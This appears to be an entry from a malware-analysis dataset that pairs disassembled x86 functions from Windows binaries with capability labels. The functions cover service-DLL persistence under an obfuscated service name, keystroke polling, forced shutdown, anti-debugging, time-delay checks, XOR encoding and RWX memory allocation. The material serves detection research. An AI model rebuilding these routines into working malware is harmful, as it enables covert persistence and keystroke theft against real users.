joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bc80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000bc50
push 0x100192c8
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push 0
push 2
mov dword [0x100192bc], eax
call fcn.1000bbf0
push 0
push 0
push 4
call fcn.1000bbf0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000cac0
push 0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1000c590
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100176f4], eax
push 0
push 0
call fcn.1000b9d0
add esp, 8
push 0x3e8
call esi
jmp 0x1000bd16

Function at 0x1000bd30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x100192b8], eax
jne 0x1000bd4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push 0x10017778
push str.HvdhrIhimkqnoE_i
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x100192b4], eax
jne 0x1000bd84
pop ecx
ret
mov edx, dword [0x100192b8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x100192b4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.IrdzuzDigznhfv_htfrvrrInee
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bdc0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.HvdhrIhimkqnoE_i
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], CancelIo
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000c000
Capabilities:
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
lea eax, [esp]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push connect
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str.PzpwfnQllw_EjofMbnf_isd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0xc]
push str.PzpwfnQllw_EjofMbnf_isd
push 2
push 0
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x1000c070
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x138
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c09f
xor eax, eax
add esp, 0x138
ret
push esi
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0x12c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c137
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x148]
not ecx
dec ecx
push eax
mov esi, ecx
push 0x10017b08
and esi, 0xffff
lea edi, [esp + esi + 0x1d]
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [ecx + esi + 1]
jmp 0x1000c16d
mov edi, dword [esp + 0x148]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, dword [esp + 8]
push ecx
lea ecx, [esp + 0x18]
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x138
ret
Function at 0x40afa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push ebx
lea ebx, [ebp - 0x30]
mov eax, 0x4bd2a0
call fcn.004ad4bc
mov word [ebx + 0x10], 8
xor edx, edx
mov dword [ebp - 4], edx
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 0x14
push 0xff
lea ecx, [ebp - 0x130]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
lea eax, [ebp - 0x130]
push eax
call fcn.004ad188
pop ecx
cmp eax, 3
jne 0x40b030
mov word [ebx + 0x10], 0x20
lea edx, [ebp - 0x130]
lea eax, [ebp - 8]
call fcn.004b7500
inc dword [ebx + 0x1c]
mov ecx, 1
mov edx, 3
call fcn.004b78a4
mov edx, eax
lea eax, [ebp - 4]
call fcn.004b7690
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004b7660
jmp 0x40b061
mov word [ebx + 0x10], 0x2c
lea edx, [ebp - 0x130]
lea eax, [ebp - 0xc]
call fcn.004b7500
mov edx, eax
inc dword [ebx + 0x1c]
lea eax, [ebp - 4]
call fcn.004b7690
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004b7660
mov word [ebx + 0x10], 0x38
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004b7690
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebx + 0x10], 0x44
push eax
lea eax, [ebp - 4]
dec dword [ebx + 0x1c]
call fcn.004b7660
pop eax
mov word [ebx + 0x10], 0x38
inc dword [ebx + 0x1c]
mov edx, dword [ebx]
mov dword fs:[0], edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b1d0
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff64
push 0x9c
push 0
lea eax, [esp + 8]
push eax
call fcn.004ad0a8
add esp, 0xc
mov dword [esp], 0x9c
push esp
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
jne 0x40b1ff
xor eax, eax
jmp 0x40b20c
cmp dword [esp + 4], 6
jb 0x40b20a
mov al, 1
jmp 0x40b20c
xor eax, eax
add esp, 0x9c
ret

Function at 0x40b214
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov eax, 0x4bd3bc
push ebx
call fcn.004ad4bc
mov dword [ebp - 0xc], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004b7538
inc dword [ebp - 0xc]
xor ebx, ebx
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
mov edx, 0x4bd091
lea eax, [ebp - 4]
call fcn.004b7500
inc dword [ebp - 0xc]
lea edx, [ebp - 4]
lea eax, [ebp + 8]
call fcn.004b7bb8
test eax, eax
lea eax, [ebp - 4]
sete cl
and ecx, 1
mov edx, 2
push ecx
dec dword [ebp - 0xc]
call fcn.004b7660
pop ecx
test cl, cl
je 0x40b29d
push 0
push 6
call sub.USER32.DLL_ExitWindowsEx
mov ebx, eax
test ebx, ebx
jne 0x40b2d1
push 0x4bd094
call fcn.0040b434
pop ecx
jmp 0x40b2d1
push 0x4bd0a2
call fcn.0040b2fc
pop ecx
test eax, eax
je 0x40b2c6
push 0
push 6
call sub.USER32.DLL_ExitWindowsEx
mov ebx, eax
test ebx, ebx
jne 0x40b2c6
push str.Shutting_down
call fcn.0040b434
pop ecx
push str.SeShutdownPrivilege
call fcn.0040b398
pop ecx
test ebx, ebx
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp + 8]
dec dword [ebp - 0xc]
call fcn.004b7660
pop eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b6d0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
push ebx
mov ebx, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x10c]
push edx
push 0x104
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov eax, dword [ebp + 0xc]
push eax
call sub.KERNEL32.DLL_SearchPathA
test eax, eax
je 0x40b79e
lea edx, [ebp - 0x10c]
push edx
call sub.KERNEL32.DLL_lstrlenA
mov byte [ebp + eax - 0x10b], 0
xor ecx, ecx
lea edx, [ebp - 0x10c]
mov dword [ebp - 0x230], ecx
test ebx, ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], edx
je 0x40b768
push ebx
lea ecx, [ebp - 0x210]
push ecx
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebp - 0x210]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov byte [ebp + eax - 0x20f], 0
lea edx, [ebp - 0x210]
mov dword [ebp - 0x224], edx
jmp 0x40b770
xor ecx, ecx
mov dword [ebp - 0x224], ecx
mov word [ebp - 0x220], 0x14
lea eax, [ebp - 0x230]
push eax
call sub.SHELL32.DLL_SHFileOperationA
test eax, eax
je 0x40b78d
xor eax, eax
jmp 0x40b7a0
push 0x80
lea edx, [ebp - 0x210]
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b7a8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x4bd538
call fcn.004ad4bc
push 0x104
lea edx, [ebp - 0x130]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0x1c], 0x14
lea edx, [ebp - 0x130]
lea eax, [ebp - 8]
call fcn.004b7500
inc dword [ebp - 0x10]
mov eax, dword [eax]
xor edx, edx
mov dword [ebp - 4], edx
lea edx, [ebp - 4]
inc dword [ebp - 0x10]
call fcn.0047df84
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004b7660
mov word [ebp - 0x1c], 8
lea eax, [ebp - 0x130]
push eax
call fcn.004ab588
pop ecx
lea edx, [ebp - 4]
mov word [ebp - 0x1c], 0x20
mov eax, dword [ebp + 8]
call fcn.004b7690
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebp - 0x1c], 0x2c
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x10]
call fcn.004b7660
pop eax
mov word [ebp - 0x1c], 0x20
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40bcfc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
mov eax, 0x4bd79c
call fcn.004ad4bc
mov eax, 0x105
lea edx, [ebp - 0x134]
push edx
push eax
call sub.KERNEL32.DLL_GetTempPathA
test eax, eax
je 0x40bd76
mov word [ebp - 0x1c], 8
lea edx, [ebp - 0x134]
lea eax, [ebp - 4]
call fcn.004b7500
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.004b7690
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebp - 0x1c], 0x14
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x10]
call fcn.004b7660
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
jmp 0x40bdc5
mov word [ebp - 0x1c], 0x20
mov edx, 0x4bd168
lea eax, [ebp - 8]
call fcn.004b7500
inc dword [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004b7690
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebp - 0x1c], 0x2c
push eax
lea eax, [ebp - 8]
dec dword [ebp - 0x10]
call fcn.004b7660
pop eax
mov word [ebp - 0x1c], 0x20
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x41d054
Capabilities:
Check for time delay via gettickcount
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffeb0
push ebx
push esi
push edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 4], edx
mov eax, 0x4c517c
call fcn.004ad4bc
mov dword [ebp - 0x18], 1
lea edx, [ebp - 4]
lea eax, [ebp - 4]
call fcn.004b7538
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 8
call sub.KERNEL32.DLL_GetTickCount
mov dword [ebp - 0x44], eax
jmp 0x41d24a
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x104c]
push edx
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x41d0db
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x18]
call fcn.004b7660
pop eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x41d279
mov ecx, dword [ebp - 0x3c]
shr ecx, 2
mov dword [ebp - 0x40], ecx
xor edi, edi
lea esi, [ebp - 0x104c]
cmp edi, dword [ebp - 0x40]
jae 0x41d24a
mov eax, dword [esi]
test eax, eax
je 0x41d23d
push eax
push 0
push 0x100410
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
mov word [ebp - 0x24], 8
test ebx, ebx
je 0x41d142
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x48]
push eax
push 4
push edx
push ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x41d142
push 0x104
lea ecx, [ebp - 0x1150]
push ecx
mov eax, dword [ebp - 0x48]
push eax
push ebx
call sub.PSAPI.DLL_GetModuleBaseNameA
xor edx, edx
lea eax, [ebp - 4]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x10]
inc dword [ebp - 0x18]
call fcn.004b7974
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x1150]
push ecx
lea eax, [ebp - 8]
mov word [ebp - 0x24], 0x14
call fcn.004b7500
inc dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 0xc]
inc dword [ebp - 0x18]
call fcn.004b7974
lea eax, [ebp - 0xc]
pop edx
call fcn.004b7bb8
test eax, eax
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp - 0x10]
dec dword [ebp - 0x18]
call fcn.004b7660
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004b7660
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004b7660
pop ecx
test cl, cl
je 0x41d237
mov word [ebp - 0x24], 8
jmp 0x41d204
push 0x3e8
push ebx
call sub.KERNEL32.DLL_WaitForSingleObject
test eax, eax
jne 0x41d204
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov al, 1
mov edx, 2
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x18]
call fcn.004b7660
pop eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x41d279
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x38]
jb 0x41d1cf
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x18]
call fcn.004b7660
pop eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x41d279
push ebx
call sub.KERNEL32.DLL_CloseHandle
inc edi
add esi, 4
cmp edi, dword [ebp - 0x40]
jb 0x41d0f5
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x38]
jb 0x41d09f
xor eax, eax
mov edx, 2
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x18]
call fcn.004b7660
pop eax
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4230d0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
mov byte [ebp - 8], dl
test dl, dl
jle 0x4230e3
call fcn.004b8068
mov ebx, ecx
mov byte [ebp - 0x29], dl
mov dword [ebp - 4], eax
mov eax, 0x4c6b5c
call fcn.004ad4bc
mov word [ebp - 0x18], 8
mov ecx, ebx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.0047489c
add dword [ebp - 0xc], 2
mov dl, 3
mov eax, dword [ebp - 4]
call fcn.00474984
mov edx, dword [ebp - 4]
mov byte [edx + 0x30], 0
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
mov eax, dword [ebp - 4]
cmp byte [ebp - 0x29], 0
je 0x423134
call fcn.004b8075
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42a4c0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00481900
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.ADVAPI32.DLL_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x4da2d4]
cmp byte [edx + 8], 0
je 0x42a524
mov edx, dword [0x4da2c0]
cmp dword [edx], 2
jne 0x42a524
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret

Function at 0x42a528
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x42a5e0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0042a4c0
test al, al
je 0x42a5c2
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004829d0
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x42a5c2
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00482d2c
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
mov eax, dword [ebp - 0xc]
call fcn.00482d2c
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00482aa0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x42a57b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a5e7
lea eax, [ebp - 0x2c]
call fcn.004828e8
lea eax, [ebp - 0xc]
call fcn.004828e8
ret
Function at 0x42a774
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0042a138
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00482d2c
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
je 0x42a7d2
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4da20c]
mov dl, 1
mov eax, dword [0x42a030]
call fcn.0047d520
call fcn.004823e4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x42a7dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00482d2c
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x42a834
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4da210]
mov dl, 1
mov eax, dword [0x42a030]
call fcn.0047d520
call fcn.004823e4
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0042a168
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x42b850
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004828e8
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x42b89f
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.00482b18
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4327a8
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4327ae
ret

Function at 0x434c8c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x434cdd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x434cc4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x434cb4
jmp 0x434cdd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x434cc5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43d8a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4da5e8
cmp dword [edi], 0
jne 0x43d91c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4da5e4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4c704c
mov ecx, 2
call fcn.00481634
mov edx, 0x43d878
lea eax, [esi + 5]
call fcn.0043d898
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043d898
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43d8f1
mov dword [0x4da5e4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43da38
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43da88]
test si, 4
je 0x43da4c
or bl, 1
test si, 8
je 0x43da56
or bl, 4
test si, 1
je 0x43da60
or bl, 8
test si, 2
je 0x43da6a
or bl, 0x10
test si, 0x10
je 0x43da74
or bl, 0x20
push 0x12
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43da83
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x43da8c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43dac4]
push 0x10
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43daa5
or bl, 1
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x43dab4
or bl, 4
test esi, 0x20000000
je 0x43dabf
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x444014
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x444026
add esp, 0xfffffff0
call fcn.00481f8c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00474a6c
mov eax, ebx
call fcn.00444360
push 0
call sub.USER32.DLL_GetKeyboardLayout
mov dword [ebx + 0x30], eax
mov dl, 1
mov eax, dword [0x46bf08]
call fcn.00481c1c
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x46bf08]
call fcn.00481c1c
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x46bf08]
call fcn.00481c1c
mov dword [ebx + 0x48], eax
mov dl, 1
mov eax, dword [0x46bf08]
call fcn.00481c1c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x46bf08]
call fcn.00481c1c
mov dword [ebx + 0x70], eax
push 0
call sub.USER32.DLL_GetDC
mov esi, eax
push 0x5a
push esi
call sub.GDI32.DLL_GetDeviceCaps
mov dword [ebx + 0x34], eax
push esi
push 0
call sub.USER32.DLL_ReleaseDC
mov eax, dword [ebx + 0x4c]
push eax
mov eax, 0x440b04
push eax
push 0
push 0
mov eax, dword [0x4da2a4]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x431cd0]
call fcn.00433208
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x431cd0]
call fcn.00433208
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x431cd0]
call fcn.00433208
mov dword [ebx + 0x74], eax
mov eax, ebx
call fcn.00444740
mov eax, dword [ebx + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44465c
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44465c
mov eax, dword [ebx + 0x74]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44465c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x444135
call fcn.00481fe4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret